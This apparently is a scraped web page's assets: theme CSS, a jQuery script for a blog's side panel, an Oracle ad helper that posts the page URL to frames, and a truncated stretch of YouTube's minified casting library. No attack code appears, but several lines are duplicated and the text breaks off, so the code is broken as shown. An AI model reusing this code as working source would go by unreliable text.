.kr{color:#66d9ef}.highlight .kt{color:#66d9ef}.highlight .ld{color:#e6db74}.highlight .m{color:#ae81ff}.highlight .s{color:#e6db74}.highlight .na{color:#a6e22e}.highlight .nb{color:#f8f8f2}.highlight .nc{color:#a6e22e}.highlight .no{color:#66d9ef}.highlight .nd{color:#a6e22e}.highlight .ni{color:#f8f8f2}.highlight .ne{color:#a6e22e}.highlight .nf{color:#a6e22e}.highlight .nl{color:#f8f8f2}.highlight .nn{color:#f8f8f2}.highlight .nx{color:#a6e22e}.highlight .py{color:#f8f8f2}.highlight .nt{color:#f92672}.highlight .nv{color:#f8f8f2}.highlight .ow{color:#f92672}.highlight .w{color:#f8f8f2}.highlight .mf{color:#ae81ff}.highlight .mh{color:#ae81ff}.highlight .mi{color:#ae81ff}.highlight .mo{color:#ae81ff}.highlight .sb{color:#e6db74}.highlight .sc{color:#e6db74}.highlight .sd{color:#e6db74}.highlight .s2{color:#e6db74}.highlight .se{color:#ae81ff}.highlight .sh{color:#e6db74}.highlight .si{color:#e6db74}.highlight .sx{color:#e6db74}.highlight .sr{color:#e6db74}.highlight .s1{color:#e6db74}.highlight .ss{color:#e6db74}.highlight .bp{color:#f8f8f2}.highlight .vc{color:#f8f8f2}.highlight .vg{color:#f8f8f2}.highlight .vi{color:#f8f8f2}.highlight .il{color:#ae81ff}.highlight .gu{color:#75715e}.highlight .gd{color:#f92672}.highlight .gi{color:#a6e22e}pre.highlight,.highlight pre{padding:10px}pre.highlight code,.highlight pre code{white-space:pre-wrap}.btn,.navigation__item a{margin:5px 0;white-space:nowrap}.pagination__page-number{display:inline-block;padding:10px}.categories a,.tags a{border:1px solid #e25440;border-radius:20px;color:#e25440;display:inline-block;font-size:12px;margin:5px 0;padding:5px 10px;text-shadow:none;white-space:nowrap}.post-meta__tags{font-size:12px;padding:0 5px}.footer__copyright{margin:0 20px 10px}.user-image{margin-bottom:1.2em;position:relative;width:100px;height:100px;border:3px solid #fff;border-radius:100%}
$(document).ready(function () {
$(document).ready(function () {
$('a.blog-button').click(function (e) {
if ($('.panel-cover').hasClass('panel-cover--collapsed')) return
currentWidth = $('.panel-cover').width()
if (currentWidth < 960) {
$('.panel-cover').addClass('panel-cover--collapsed')
$('.content-wrapper').addClass('animated slideInRight')
} else {
$('.panel-cover').css('max-width', currentWidth)
$('.panel-cover').animate({'max-width': '530px', 'width': '40%'}, 400, swing = 'swing', function () {})
}
})
if (window.location.hash && window.location.hash == '#blog') {
$('.panel-cover').addClass('panel-cover--collapsed')
}
if (window.location.pathname !== '/' && window.location.pathname !== '/index.html') {
$('.panel-cover').addClass('panel-cover--collapsed')
}
$('.btn-mobile-menu').click(function () {
$('.navigation-wrapper').toggleClass('visible animated bounceInDown')
$('.btn-mobile-menu__icon').toggleClass('icon-list icon-x-circle animated fadeIn')
})
$('.navigation-wrapper .blog-button').click(function () {
$('.navigation-wrapper').toggleClass('visible')
$('.btn-mobile-menu__icon').toggleClass('icon-list icon-x-circle animated fadeIn')
})
})
/*Copyright (c) 2011, 2019, Oracle and/or its affiliates. All rights reserved.*/
/*Copyright (c) 2011, 2019, Oracle and/or its affiliates. All rights reserved.*/
(function(){try{var l=function(b){var a=!0;try{b.domain}catch(f){a=!1}return a},r=function(b){return b.replace(/:/g,"%3A").replace(/=/g,"%3D").replace(/,/g,"%2C")},q=function(b){try{var a;var f=b.data;if("string"!==typeof f)a=!1;else{var c=f.match(new RegExp("([a-z]+)"+d+"([a-z0-9.-]+)"+d+"([0-9]+)"+d+"([a-z]+)"+d+"([0-9]+)"+d+"(.+)","i"));a=c&&7===c.length&&c[1]===m&&c[2]===n&&-1!==c[6].indexOf("check")?!0:!1}if(a){var p;var h=window.top&&window.top.location&&window.top.location.href;p=h&&("string"!==
typeof h?0:/^(?:https?:\/\/)?[^.:\/]+(?:\.[^.:\/]+)/.test(h))?h:!1;if(p){var t,e=window.top.location.hostname.replace("www.","")+window.top.location.pathname;"string"===typeof e&&"/"===e.charAt(e.length-1)&&(e=e.substr(0,e.length-1));if(t=e){var g=JSON.stringify({available:!1,fullUrl:r(p),cleanUrl:r(t),urlSrc:5}),g=g.replace(/"(\w+)"\s*:/g,"$1:"),l=b.data.split(d),q=[m,n,k,u,l[4]||k+1,g].join(d);b.source.postMessage(q,"*")}}}}catch(v){}},v=function(b,a){function f(c,b){var a=[];c&&a.push(c);b=b||
0;if(10<b||!c||!c.frames)return a;var d;try{d=isNaN(c.frames.length)?100:c.frames.length}catch(g){d=100}for(var e=0;e<d;e++)try{try{if(void 0==c.frames[e])break}catch(g){break}a=a.concat(f(c.frames[e],b+1))}catch(g){break}return a}return f(b,a)},w=function(){for(var b=[m,n,k,u,k+1,"ping"].join(d),a=v(window.top),f=0;f<a.length;f++)a[f]!==window.top&&a[f].postMessage(b,"*")},d="#",m="MSFAPI",n="1.2",u="addThis",k=Math.floor(Math.random()*Math.pow(10,12));window&&window.top&&l(window.top)&&!0!==window.top["__@@##MUH"]&&
(window.top.addEventListener("message",q),window.top["__@@##MUH"]=!0,w())}catch(b){}})();
(function(g){var window=this;var BHa=function(a,b){return g.Pb(a,b)},Y5=function(a,b,c){a.C.set(b,c)},Z5=function(a){Y5(a,"zx",Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^g.A()).toString(36));
(function(g){var window=this;var BHa=function(a,b){return g.Pb(a,b)},Y5=function(a,b,c){a.C.set(b,c)},Z5=function(a){Y5(a,"zx",Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^g.A()).toString(36));
return a},$5=function(a,b,c){Array.isArray(c)||(c=[String(c)]);
g.cn(a.C,b,c)},CHa=function(a,b){var c=[];
g.ij(b,function(d){try{var e=g.co.prototype.B.call(this,d,!0)}catch(f){if("Storage: Invalid value was encountered"==f)return;throw f;}void 0===e?c.push(d):g.bo(e)&&c.push(d)},a);
return c},DHa=function(a,b){var c=CHa(a,b);
g.Cb(c,function(d){g.co.prototype.remove.call(this,d)},a)},EHa=function(a){if(a.se){if(a.se.locationOverrideToken)return{locationOverrideToken:a.se.locationOverrideToken};
if(null!=a.se.latitudeE7&&null!=a.se.longitudeE7)return{latitudeE7:a.se.latitudeE7,longitudeE7:a.se.longitudeE7}}return null},FHa=function(a,b){g.jb(a,b)||a.push(b)},a6=function(a){var b=0,c;
for(c in a)b++;return b},GHa=function(a,b){var c=b instanceof g.Ec?b:g.Kc(b,/^data:image\//i.test(b));
a.src=g.Fc(c)},b6=function(){},HHa=function(a){try{return g.v.JSON.parse(a)}catch(b){}a=String(a);
if(/^\s*$/.test(a)?0:/^[\],:{}\s\u2028\u2029]*$/.test(a.replace(/\\["\\\/bfnrtu]/g,"@").replace(/(?:"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)[\s\u2028\u2029]*(?=:|,|]|}|$)/g,"]").replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g,"")))try{return eval("("+a+")")}catch(b){}throw Error("Invalid JSON string: "+a);},IHa=function(a){if(a.Gf&&"function"==typeof a.Gf)return a.Gf();
if("string"===typeof a)return a.split("");if(g.Na(a)){for(var b=[],c=a.length,d=0;d<c;d++)b.push(a[d]);return b}return g.Lb(a)},JHa=function(a,b){if(a.forEach&&"function"==typeof a.forEach)a.forEach(b,void 0);
else if(g.Na(a)||"string"===typeof a)g.Cb(a,b,void 0);else{if(a.Sg&&"function"==typeof a.Sg)var c=a.Sg();else if(a.Gf&&"function"==typeof a.Gf)c=void 0;else if(g.Na(a)||"string"===typeof a){c=[];for(var d=a.length,e=0;e<d;e++)c.push(e)}else c=g.Mb(a);d=IHa(a);e=d.length;for(var f=0;f<e;f++)b.call(void 0,d[f],c&&c[f],a)}},KHa=function(a,b,c,d){var e=new g.Rm(null,void 0);
a&&g.Sm(e,a);b&&g.Tm(e,b);c&&g.Um(e,c);d&&(e.B=d);return e},c6=function(a,b){g.Po[a]=!0;
var c=g.No();c&&c.publish.apply(c,arguments);g.Po[a]=!1},d6=function(a){this.app=this.name=this.id="";
this.type="REMOTE_CONTROL";this.obfuscatedGaiaId=this.avatar=this.username="";this.capabilities=new Set;this.experiments=new Set;this.theme="u";new g.Om;a&&(this.id=a.id||a.name,this.name=a.name,this.app=a.app,this.type=a.type||"REMOTE_CONTROL",this.username=a.user||"",this.avatar=a.userAvatarUri||"",this.obfuscatedGaiaId=a.obfuscatedGaiaId||"",this.theme=a.theme||"u",LHa(this,a.capabilities||""),MHa(this,a.experiments||""))},LHa=function(a,b){a.capabilities.clear();
g.Ke(b.split(","),g.Ta(BHa,NHa)).forEach(function(c){a.capabilities.add(c)})},MHa=function(a,b){a.experiments.clear();
b.split(",").forEach(function(c){a.experiments.add(c)})},e6=function(a){a=a||{};
this.name=a.name||"";this.id=a.id||a.screenId||"";this.token=a.token||a.loungeToken||"";this.uuid=a.uuid||a.dialId||"";this.idType=a.screenIdType||"normal"},f6=function(a,b){return!!b&&(a.id==b||a.uuid==b)},OHa=function(a){return{name:a.name,
screenId:a.id,loungeToken:a.token,dialId:a.uuid,screenIdType:a.idType}},PHa=function(a){return new e6(a)},QHa=function(a){return Array.isArray(a)?g.Oc(a,PHa):[]},g6=function(a){return a?'{name:"'+a.name+'",id:'+a.id.substr(0,6)+"..,token:"+((a.token?".."+a.token.slice(-6):"-")+",uuid:"+(a.uuid?".."+a.uuid.slice(-6):"-")+",idType:"+a.idType+"}"):"null"},h6=function(a){return Array.isArray(a)?"["+g.Oc(a,g6).join(",")+"]":"null"},i6=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,
function(a){var b=16*Math.random()|0;
return("x"==a?b:b&3|8).toString(16)})},RHa=function(a){return g.Oc(a,function(b){return{key:b.id,
name:b.name}})},j6=function(a,b){return g.fb(a,function(c){return c||b?!c!=!b?!1:c.id==b.id:!0})},k6=function(a,b){return g.fb(a,function(c){return f6(c,b)})},SHa=function(){var a=(0,g.mu)();
a&&DHa(a,a.u.vj(!0))},l6=function(){var a=g.pu("yt-remote-connected-devices")||[];
g.zb(a);return a},THa=function(a){if(g.kb(a))return[];
var b=a[0].indexOf("#"),c=-1==b?a[0]:a[0].substring(0,b);return g.Oc(a,function(d,e){return 0==e?d:d.substring(c.length)})},UHa=function(a){g.ou("yt-remote-connected-devices",a,86400)},n6=function(){if(m6)return m6;
var a=g.pu("yt-remote-device-id");a||(a=i6(),g.ou("yt-remote-device-id",a,31536E3));for(var b=l6(),c=1,d=a;g.jb(b,d);)c++,d=a+"#"+c;return m6=d},o6=function(){var a=l6(),b=n6();
g.jb(a,b);g.ru()&&g.Bb(a,b);a=THa(a);if(g.kb(a))try{g.Cq("remote_sid")}catch(c){}else try{g.Aq("remote_sid",a.join(","),-1)}catch(c){}},VHa=function(){return g.pu("yt-remote-session-browser-channel")},WHa=function(){return g.pu("yt-remote-local-screens")||[]},XHa=function(){g.ou("yt-remote-lounge-token-expiration",!0,86400)},YHa=function(a){5<a.length&&(a=a.slice(a.length-5));
var b=g.Oc(WHa(),function(d){return d.loungeToken}),c=g.Oc(a,function(d){return d.loungeToken});
g.rh(c,function(d){return!g.jb(b,d)})&&XHa();
g.ou("yt-remote-local-screens",a,31536E3)},ZHa=function(a,b){g.ou("yt-remote-session-browser-channel",a);
g.ou("yt-remote-session-screen-id",b);var c=l6(),d=n6();g.jb(c,d)||c.push(d);UHa(c);o6()},p6=function(a){a||(g.qu("yt-remote-session-screen-id"),g.qu("yt-remote-session-video-id"));
o6();a=l6();g.ob(a,n6());UHa(a)},$Ha=function(){if(!q6){var a=g.no();
a&&(q6=new g.On(a))}},aIa=function(){$Ha();
return q6?!!q6.get("yt-remote-use-staging-server"):!1},bIa=function(a){return!!document.currentScript&&(-1!=document.currentScript.src.indexOf("?"+a)||-1!=document.currentScript.src.indexOf("&"+a))},cIa=function(){return"function"==typeof window.__onGCastApiAvailable?window.__onGCastApiAvailable:null},r6=function(a){a.length?dIa(a.shift(),function(){r6(a)}):s6()},eIa=function(a){return"chrome-extension://"+a+"/cast_sender.js"},dIa=function(a,b,c){var d=document.createElement("script");
d.onerror=b;c&&(d.onload=c);g.kd(d,g.tg(a));(document.head||document.documentElement).appendChild(d)},s6=function(){var a=cIa();
a&&a(!1,"No cast extension found")},gIa=function(){if(fIa){var a=2,b=cIa(),c=function(){a--;
0==a&&b&&b(!0)};
window.__onGCastApiAvailable=c;dIa("//www.gstatic.com/cast/sdk/libs/sender/1.0/cast_framework.js",s6,c)}},hIa=function(){gIa();
var a=(a=window.navigator.userAgent.match(/Chrome\/([0-9]+)/))?parseInt(a[1],10):0;var b=[];if(0!=a){var c=a-1;b.push("//www.gstatic.com/eureka/clank/"+a+"/cast_sender.js");b.push("//www.gstatic.com/eureka/clank/"+c+"/cast_sender.js")}b.push("//www.gstatic.com/eureka/clank/cast_sender.js");r6(b)},t6=function(a,b,c){g.B.call(this);
this.I=null!=c?(0,g.z)(a,c):a;this.xf=b;this.F=(0,g.z)(this.IK,this);this.u=!1;this.B=0;this.C=this.ab=null;this.D=[]},u6=function(a,b,c){g.B.call(this);
this.D=null!=c?a.bind(c):a;this.xf=b;this.C=null;this.u=!1;this.B=0;this.ab=null},v6=function(a){a.ab=g.Mm(function(){a.ab=null;
a.u&&!a.B&&(a.u=!1,v6(a))},a.xf);
var b=a.C;a.C=null;a.D.apply(null,b)},w6=function(a){if(g.v.JSON)try{return g.v.JSON.parse(a)}catch(b){}return HHa(a)},x6=function(){},y6=function(a,b){if("function"!==typeof a)throw Error("Fn must not be null and must be a function");
return g.v.setTimeout(function(){a()},b)},A6=function(a){z6.dispatchEvent(new iIa(z6,a))},iIa=function(a){g.Fl.call(this,"statevent",a)},B6=function(){},jIa=function(){},lIa=function(a){return(a=kIa(a))?new ActiveXObject(a):new XMLHttpRequest},kIa=function(a){if(!a.B&&"undefined"==typeof XMLHttpRequest&&"undefined"!=typeof ActiveXObject){for(var b=["MSXML2.XMLHTTP.6.0",
"MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"],c=0;c<b.length;c++){var d=b[c];try{return new ActiveXObject(d),a.B=d}catch(e){}}throw Error("Could not create ActiveXObject. ActiveX might be disabled, or MSXML might not be installed");}return a.B},C6=function(a,b,c,d){this.u=a;
this.B=b;this.P=c;this.K=d||1;this.F=45E3;this.D=new g.f1(this);this.C=new g.Lm;this.C.setInterval(250)},nIa=function(a,b,c){a.kp=1;
a.Bk=Z5(b.clone());a.Vm=c;a.I=!0;mIa(a,null)},D6=function(a,b,c,d,e){a.kp=1;
a.Bk=Z5(b.clone());a.Vm=null;a.I=c;e&&(a.EH=!1);mIa(a,d)},mIa=function(a,b){a.Zo=g.A();
E6(a);a.El=a.Bk.clone();$5(a.El,"t",a.K);a.zs=0;a.te=a.u.Fx(a.u.Ur()?b:null);0<a.vy&&(a.Qv=new u6((0,g.z)(a.JI,a,a.te),a.vy));a.D.xa(a.te,"readystatechange",a.QR);var c=a.xm?g.Vb(a.xm):{};a.Vm?(a.Bw="POST",c["Content-Type"]="application/x-www-form-urlencoded",a.te.send(a.El,a.Bw,a.Vm,c)):(a.Bw="GET",a.EH&&!g.Ae&&(c.Connection="close"),a.te.send(a.El,a.Bw,null,c));a.u.Xh(1)},qIa=function(a,b,c){for(var d=!0;!a.em&&a.zs<c.length;){var e=oIa(a,c);
if(e==F6){4==b&&(a.Tk=4,A6(15),d=!1);break}else if(e==pIa){a.Tk=4;A6(16);d=!1;break}else G6(a,e)}4==b&&0==c.length&&(a.Tk=1,A6(17),d=!1);a.ki=a.ki&&d;d||(H6(a),I6(a))},oIa=function(a,b){var c=a.zs,d=b.indexOf("\n",c);
if(-1==d)return F6;c=Number(b.substring(c,d));if(isNaN(c))return pIa;d+=1;if(d+c>b.length)return F6;var e=b.substr(d,c);a.zs=d+c;return e},sIa=function(a,b){a.Zo=g.A();
E6(a);var c=b?window.location.hostname:"";a.El=a.Bk.clone();Y5(a.El,"DOMAIN",c);Y5(a.El,"t",a.K);try{a.ri=new ActiveXObject("htmlfile")}catch(n){H6(a);a.Tk=7;A6(22);I6(a);return}var d="<html><body>";if(b){for(var e="",f=0;f<c.length;f++){var h=c.charAt(f);if("<"==h)h=e+"\\x3c";else if(">"==h)h=e+"\\x3e";else{if(h in J6)h=J6[h];else if(h in rIa)h=J6[h]=rIa[h];else{var l=h.charCodeAt(0);if(31<l&&127>l)var m=h;else{if(256>l){if(m="\\x",16>l||256<l)m+="0"}else m="\\u",4096>l&&(m+="0");m+=l.toString(16).toUpperCase()}h=
J6[h]=m}h=e+h}e=h}d+='<script>document.domain="'+e+'"\x3c/script>'}c=g.fd(g.gc("b/12014412"),d+"</body></html>");a.ri.open();a.ri.write(g.bd(c));a.ri.close();a.ri.parentWindow.m=(0,g.z)(a.iR,a);a.ri.parentWindow.d=(0,g.z)(a.yG,a,!0);a.ri.parentWindow.rpcClose=(0,g.z)(a.yG,a,!1);c=a.ri.createElement("DIV");a.ri.parentWindow.document.body.appendChild(c);d=g.Jc(a.El.toString());d=g.od(g.Fc(d));d=g.fd(g.gc("b/12014412"),'<iframe src="'+d+'"></iframe>');g.gd(c,d);a.u.Xh(1)},E6=function(a){a.iB=g.A()+a.F;
tIa(a,a.F)},tIa=function(a,b){if(null!=a.wp)throw Error("WatchDog timer not null");
a.wp=y6((0,g.z)(a.rR,a),b)},K6=function(a){a.wp&&(g.v.clearTimeout(a.wp),a.wp=null)},I6=function(a){a.u.xD()||a.em||a.u.Xt(a)},H6=function(a){K6(a);
g.fg(a.Qv);a.Qv=null;a.C.stop();g.JBa(a.D);if(a.te){var b=a.te;a.te=null;b.abort();b.dispose()}a.ri&&(a.ri=null)},G6=function(a,b){try{a.u.qG(a,b),a.u.Xh(4)}catch(c){}},vIa=function(a,b,c,d,e){if(0==d)c(!1);
else{var f=e||0;d--;uIa(a,b,function(h){h?c(!0):g.v.setTimeout(function(){vIa(a,b,c,d,f)},f)})}},uIa=function(a,b,c){var d=new Image;
d.onload=function(){try{L6(d),c(!0)}catch(e){}};
d.onerror=function(){try{L6(d),c(!1)}catch(e){}};
d.onabort=function(){try{L6(d),c(!1)}catch(e){}};
d.ontimeout=function(){try{L6(d),c(!1)}catch(e){}};
g.v.setTimeout(function(){if(d.ontimeout)d.ontimeout()},b);
GHa(d,a)},L6=function(a){a.onload=null;
a.onerror=null;a.onabort=null;a.ontimeout=null},M6=function(a){g.bm.call(this);
this.headers=new g.Om;this.fa=a||null;this.C=!1;this.ba=this.u=null;this.Fa=this.S="";this.I=0;this.D="";this.F=this.ma=this.P=this.ha=!1;this.K=0;this.X=null;this.Ja="";this.Y=this.ka=!1},wIa=function(a){return g.ye&&g.ae(9)&&"number"===typeof a.timeout&&void 0!==a.ontimeout},xIa=function(a){return"content-type"==a.toLowerCase()},zIa=function(a,b){a.C=!1;
a.u&&(a.F=!0,a.u.abort(),a.F=!1);a.D=b;a.I=5;yIa(a);N6(a)},yIa=function(a){a.ha||(a.ha=!0,a.dispatchEvent("complete"),a.dispatchEvent("error"))},BIa=function(a){if(a.C&&"undefined"!=typeof g.k1)if(a.ba[1]&&4==O6(a)&&2==a.getStatus())P6(a,"Local request error detected and ignored");
else if(a.P&&4==O6(a))g.Mm(a.nG,0,a);else if(a.dispatchEvent("readystatechange"),a.isComplete()){P6(a,"Request complete");a.C=!1;try{var b=a.getStatus();a:switch(b){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:var c=!0;break a;default:c=!1}var d;if(!(d=c)){var e;if(e=0===b){var f=g.xd(1,String(a.S));if(!f&&g.v.self&&g.v.self.location){var h=g.v.self.location.protocol;f=h.substr(0,h.length-1)}e=!AIa.test(f?f.toLowerCase():"")}d=e}if(d)a.dispatchEvent("complete"),a.dispatchEvent("success");
else{a.I=6;try{var l=2<O6(a)?a.u.statusText:""}catch(m){l=""}a.D=l+" ["+a.getStatus()+"]";yIa(a)}}finally{N6(a)}}},N6=function(a,b){if(a.u){CIa(a);
var c=a.u,d=a.ba[0]?g.Ka:null;a.u=null;a.ba=null;b||a.dispatchEvent("ready");try{c.onreadystatechange=d}catch(e){}}},CIa=function(a){a.u&&a.Y&&(a.u.ontimeout=null);
a.X&&(g.v.clearTimeout(a.X),a.X=null)},O6=function(a){return a.u?a.u.readyState:0},Q6=function(a){try{return a.u?a.u.responseText:""}catch(b){return""}},P6=function(a,b){return b+" ["+a.Fa+" "+a.S+" "+a.getStatus()+"]"},DIa=function(a){this.u=a;
this.B=new x6},GIa=function(a){var b=R6(a.u,a.Op,"/mail/images/cleardot.gif");
Z5(b);vIa(b.toString(),5E3,(0,g.z)(a.JJ,a),3,2E3);a.Xh(1)},T6=function(a){var b=a.u.P;
if(null!=b)A6(5),b?(A6(11),S6(a.u,a,!1)):(A6(12),S6(a.u,a,!0));else if(a.hg=new C6(a,void 0,void 0,void 0),a.hg.xm=a.ty,b=a.u,b=R6(b,b.Ur()?a.zq:null,a.uy),A6(5),!g.ye||g.be(10))$5(b,"TYPE","xmlhttp"),D6(a.hg,b,!1,a.zq,!1);else{$5(b,"TYPE","html");var c=a.hg;a=!!a.zq;c.kp=3;c.Bk=Z5(b.clone());sIa(c,a)}},U6=function(a,b,c){this.Ka=1;
this.u=[];this.C=[];this.D=new x6;this.K=a||null;this.P=null!=b?b:null;this.F=c||!1},HIa=function(a,b){this.u=a;
this.map=b;this.context=null},IIa=function(a,b,c,d){g.Fl.call(this,"timingevent",a);
this.size=b;this.Lr=d},JIa=function(a){g.Fl.call(this,"serverreachability",a)},MIa=function(a){KIa(a);
if(3==a.Ka){var b=a.kr++,c=a.Dt.clone();Y5(c,"SID",a.B);Y5(c,"RID",b);Y5(c,"TYPE","terminate");V6(a,c);b=new C6(a,a.B,b,void 0);b.kp=2;b.Bk=Z5(c.clone());GHa(new Image,b.Bk.toString());b.Zo=g.A();E6(b)}LIa(a)},NIa=function(a){a.gK(1,0);
a.Dt=R6(a,null,a.sy);W6(a)},KIa=function(a){a.Gk&&(a.Gk.abort(),a.Gk=null);
a.Sd&&(a.Sd.cancel(),a.Sd=null);a.xj&&(g.v.clearTimeout(a.xj),a.xj=null);X6(a);a.Uf&&(a.Uf.cancel(),a.Uf=null);a.Jk&&(g.v.clearTimeout(a.Jk),a.Jk=null)},OIa=function(a,b){if(0==a.Ka)throw Error("Invalid operation: sending map when state is closed");
a.u.push(new HIa(a.XN++,b));2!=a.Ka&&3!=a.Ka||W6(a)},PIa=function(a){var b=0;
a.Sd&&b++;a.Uf&&b++;return b},W6=function(a){a.Uf||a.Jk||(a.Jk=y6((0,g.z)(a.xG,a),0),a.Un=0)},RIa=function(a,b){if(1==a.Ka){if(!b){a.kr=Math.floor(1E5*Math.random());
var c=a.kr++,d=new C6(a,"",c,void 0);d.xm=a.Sk;var e=Y6(a),f=a.Dt.clone();Y5(f,"RID",c);Y5(f,"CVER","1");V6(a,f);nIa(d,f,e);a.Uf=d;a.Ka=2}}else 3==a.Ka&&(b?QIa(a,b):0==a.u.length||a.Uf||QIa(a))},QIa=function(a,b){if(b)if(6<a.fm){a.u=a.C.concat(a.u);
a.C.length=0;var c=a.kr-1;var d=Y6(a)}else c=b.P,d=b.Vm;else c=a.kr++,d=Y6(a);var e=a.Dt.clone();Y5(e,"SID",a.B);Y5(e,"RID",c);Y5(e,"AID",a.mo);V6(a,e);c=new C6(a,a.B,c,a.Un+1);c.xm=a.Sk;c.setTimeout(1E4+Math.round(1E4*Math.random()));a.Uf=c;nIa(c,e,d)},V6=function(a,b){if(a.tf){var c=a.tf.ZC();
c&&g.Eb(c,function(d,e){Y5(b,e,d)})}},Y6=function(a){var b=Math.min(a.u.length,1E3),c=["count="+b];
if(6<a.fm&&0<b){var d=a.u[0].u;c.push("ofs="+d)}else d=0;for(var e={},f=0;f<b;e={sn:e.sn},f++){e.sn=a.u[f].u;var h=a.u[f].map;e.sn=6>=a.fm?f:e.sn-d;try{g.Eb(h,function(l){return function(m,n){c.push("req"+l.sn+"_"+n+"="+encodeURIComponent(m))}}(e))}catch(l){c.push("req"+e.sn+"_type="+encodeURIComponent("_badmap"))}}a.C=a.C.concat(a.u.splice(0,b));
return c.join("&")},SIa=function(a){a.Sd||a.xj||(a.I=1,a.xj=y6((0,g.z)(a.wG,a),0),a.In=0)},Z6=function(a){if(a.Sd||a.xj||3<=a.In)return!1;
a.I++;a.xj=y6((0,g.z)(a.wG,a),TIa(a,a.In));a.In++;return!0},S6=function(a,b,c){a.yw=c;
a.Oi=b.Kj;a.F||NIa(a)},X6=function(a){null!=a.km&&(g.v.clearTimeout(a.km),a.km=null)},TIa=function(a,b){var c=5E3+Math.floor(1E4*Math.random());
a.isActive()||(c*=2);return c*b},$6=function(a,b){if(2==b||9==b){var c=null;
a.tf&&(c=null);var d=(0,g.z)(a.xS,a);c||(c=new g.Rm("//www.google.com/images/cleardot.gif"),Z5(c));uIa(c.toString(),1E4,d)}else A6(2);UIa(a,b)},UIa=function(a,b){a.Ka=0;
a.tf&&a.tf.pC(b);LIa(a);KIa(a)},LIa=function(a){a.Ka=0;
a.Oi=-1;if(a.tf)if(0==a.C.length&&0==a.u.length)a.tf.sx();else{g.rb(a.C);var b=g.rb(a.u);a.C.length=0;a.u.length=0;a.tf.sx(b)}},R6=function(a,b,c){var d=g.Zm(c);
if(""!=d.u)b&&g.Tm(d,b+"."+d.u),g.Um(d,d.D);else{var e=window.location;d=KHa(e.protocol,b?b+"."+e.hostname:e.hostname,+e.port,c)}a.hq&&g.Eb(a.hq,function(f,h){Y5(d,h,f)});
Y5(d,"VER",a.fm);V6(a,d);return d},VIa=function(){},WIa=function(){this.u=[];
this.B=[]},XIa=function(a,b){this.action=a;
this.params=b||{}},a7=function(a,b){g.B.call(this);
this.u=new g.F(this.bR,0,this);g.D(this,this.u);this.xf=5E3;this.B=0;if("function"===typeof a)b&&(a=(0,g.z)(a,b));else if(a&&"function"===typeof a.handleEvent)a=(0,g.z)(a.handleEvent,a);else throw Error("Invalid listener argument");this.C=a},b7=function(a,b,c,d){c=void 0===c?!1:c;
d=void 0===d?function(){return""}:d;
this.ba=a;this.I=b;this.C=new g.Nn;this.B=new a7(this.cS,this);this.u=null;this.X=!1;this.F=null;this.S="";this.P=this.D=0;this.K=[];this.fa=c;this.Y=d},YIa=function(a){return{firstTestResults:[""],
secondTestResults:!a.u.yw,sessionId:a.u.B,arrayId:a.u.mo}},ZIa=function(a,b){a.P=b||0;
a.B.stop();c7(a);a.u&&(3==a.u.getState()&&RIa(a.u),MIa(a.u));a.P=0},d7=function(a){return!!a.u&&3==a.u.getState()},c7=function(a){if(a.u){var b=a.Y(),c=a.u.Sk||{};
b?c["x-youtube-lounge-xsrf-token"]=b:delete c["x-youtube-lounge-xsrf-token"];a.u.Sk=c}},$Ia=function(a,b){(a.I.loungeIdToken=b)||a.B.stop()},e7=function(a){this.scheme="https";
this.port=this.domain="";this.u="/api/lounge";this.B=!0;a=a||document.location.href;var b=Number(g.xd(4,a))||"";b&&(this.port=":"+b);this.domain=g.yd(a)||"";a=g.Vc;0<=a.search("MSIE")&&(a=a.match(/MSIE ([\d.]+)/)[1],0>g.Cc(a,"10.0")&&(this.B=!1))},f7=function(a,b){var c=a.u;
a.B&&(c=a.scheme+"://"+a.domain+a.port+a.u);return g.Md(c+b,{})},g7=function(a,b,c,d,e){a={format:"JSON",
method:"POST",context:a,timeout:5E3,withCredentials:!1,onSuccess:g.Ta(a.D,d,!0),onError:g.Ta(a.C,e),Ag:g.Ta(a.F,e)};c&&(a.qc=c,a.headers={"Content-Type":"application/x-www-form-urlencoded"});return g.uq(b,a)},dJa=function(){var a=aJa;
bJa();h7.push(a);cJa()},i7=function(a,b){bJa();
var c=eJa(a,String(b));g.kb(h7)?fJa(c):(cJa(),g.Cb(h7,function(d){d(c)}))},bJa=function(){h7||(h7=g.Ja("yt.mdx.remote.debug.handlers_")||[],g.Fa("yt.mdx.remote.debug.handlers_",h7,void 0))},fJa=function(a){var b=(j7+1)%50;
j7=b;k7[b]=a;l7||(l7=49==b)},cJa=function(){var a=h7;
if(k7[0]){var b=l7?j7:-1;do{b=(b+1)%50;var c=k7[b];g.Cb(a,function(d){d(c)})}while(b!=j7);
k7=Array(50);j7=-1;l7=!1}},eJa=function(a,b){var c=(g.A()-gJa)/1E3;
c.toFixed&&(c=c.toFixed(3));var d=[];d.push("[",c+"s","] ");d.push("[","yt.mdx.remote","] ");d.push(a+": "+b,"\n");return d.join("")},m7=function(a){g.O.call(this);
this.I=a;this.screens=[]},hJa=function(a,b){var c=a.get(b.uuid)||a.get(b.id);
if(c){var d=c.name;c.id=b.id||c.id;c.name=b.name;c.token=b.token;c.uuid=b.uuid||c.uuid;return c.name!=d}a.screens.push(b);return!0},iJa=function(a,b){var c=a.screens.length!=b.length;
a.screens=g.Ke(a.screens,function(f){return!!j6(b,f)});
for(var d=0,e=b.length;d<e;d++)c=hJa(a,b[d])||c;return c},jJa=function(a,b){var c=a.screens.length;
a.screens=g.Ke(a.screens,function(d){return!(d||b?!d!=!b?0:d.id==b.id:1)});
return a.screens.length<c},n7=function(a,b,c,d){g.O.call(this);
this.F=a;this.I=b;this.C=c;this.D=d;this.B=0;this.u=null;this.ab=NaN},p7=function(a){m7.call(this,"LocalScreenService");
this.B=a;this.u=NaN;o7(this);this.info("Initializing with "+h6(this.screens))},kJa=function(a){if(a.screens.length){var b=g.Oc(a.screens,function(d){return d.id}),c=f7(a.B,"/pairing/get_lounge_token_batch");
